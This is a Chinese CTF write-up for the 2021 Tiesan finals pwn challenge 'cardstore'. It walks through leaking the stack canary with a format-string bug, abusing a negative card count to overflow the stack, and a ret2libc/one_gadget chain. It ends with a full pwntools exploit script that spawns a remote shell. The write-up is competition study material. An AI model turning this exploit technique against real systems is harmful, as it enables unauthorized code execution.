2021铁三决赛 PWN cardstore | 格式化字符串 & ret2libc

Canary 绕过

checksec

64 位程序,libc2.23,开启 Canary 和 NX 保护

手玩一下发现逻辑不难懂,可以创建和删除一个 storage,或者变更它的 card 数量

IDA

首先看一下选项 1 的 sub_400805() 函数,第十五行有明显的格式化字符串漏洞

由于一个进程的所有函数共享同一个 Canary 值,所以可以考虑在这个函数里泄露出 Canary 使用

接着要确定 Canary 是 printf 的第几个参数,由于只能输入 8 个字节,所以这样模糊测试:AAAA%n$p

(其中 n 为需要枚举的参数)

最后在 n=6 时输出了含 0x41414141 的参数,又因为正常的缓存区距离 Canary 正好是 8 字节,为一个参数的大小

所以由此确定 Canary 相对于 printf 是第 7 个参数,传入 %7$p 来泄露

选项 2 的 sub_40088A() 函数

没有明显的漏洞,但可以看出程序想让 card 数量在 50 以内

选项 3 的 sub_400907() 函数

这是一个一个让 card 数量减少 v1 的函数,如果令 v1 为负数,第 12 行的 if 语句就一定会满足条件

接下来可以在 buf 的缓存区读入 nbytes 字节的数据,由于 nbytes 是我们可以控制的,所以这里存在栈溢出漏洞

在栈溢出的过程在要注意把前面获取的 Canary 值放到 ebp-0x8 的位置,才能顺利控制程序执行流

接下来就是 ret2libc 的问题了,IDA 查看到源程序里没有 system() 函数也没有 /bin/sh,所以要在 libc 里面找

ret2libc & ROP

ROP利用思路如下:在 sub_400907() 里用 puts() 函数泄露 got 表地址,计算出 libc 基址后再次返回 sub_400907()

第二次溢出可以用 system 和 /bin/sh 构造 payload(但是我今天试了两个小时都没成功)也可以直接用 one_gadget

由于是 64 位的程序,参数要用寄存器来传参,先用 ROPgadget 找到 pop rdi;ret ,放到 ROP 链里面

one_gadget:

最后是用 gadget[0] 打通的,为了满足 NULL 条件需要在栈里面覆盖多一些 x00

EXP

from pwn import *
context.log_level = 'debug'
gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc = ELF('./libc-2.23.so')
elf = ELF('./cardstore')
#io = process(['/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so', './cardstore'], env={'LD_PRELOAD':'./libc-2.23.so'})
io = remote('172.20.14.167', '9999')
puts_plt = elf.plt['puts']; bin_sh = 0x18cd57; system = 0x45390
pop_ret = 0x400b73; puts_got = elf.got['puts']; main = 0x400A47; puts = 0x6F690
def debug(): gdb.attach(io); pause()
io.sendlineafter('game!
', '1')
#io.sendlineafter('name:
', 'AAAA%6$p')
log.info(io.recv())
io.sendlineafter('name:
', 'AAAA%7$p')
io.recvuntil('0x')
canary = int(io.recv(16), 16)
log.info('canary -> {}'.format(hex(canary)))
io.sendlineafter('>>
', '3')
io.sendlineafter('
', '-1000')
payload = 'a'*(0x110-8) + p64(canary) + 'b'*8
#payload += p64(main)
payload += p64(pop_ret) + p64(puts_got) + p64(puts_plt) + p64(0x400907)
#log.info(payload)
io.sendlineafter('game?
', payload)

libc_base = u64(io.recv(6).ljust(8,'x00')) - puts
log.info('libc_base -> ' + hex(libc_base))
log.info('binsh -> ' + hex(libc_base + bin_sh))
payload = 'a'*(0x110-8) + p64(canary) + 'b'*8
log.info(libc.symbols['system'])
payload += p64(libc_base + gadget[0]) + 'x00'*300
#payload += p64(pop_ret) + p64(libc_base + bin_sh) + p64(libc_base + libc.symbols['system'])
io.sendlineafter('delete?
', '0')
io.sendlineafter('game?
', payload)
io.interactive()

总结

这道题是铁三决赛最简单的一道 pwn,但是因为手生和各种奇奇怪怪的问题调了特别久,好累

但是最后还是拿到了奖,没有白白盯着电脑八个小时 233

原文地址:https://www.cnblogs.com/zhwer/p/14745175.html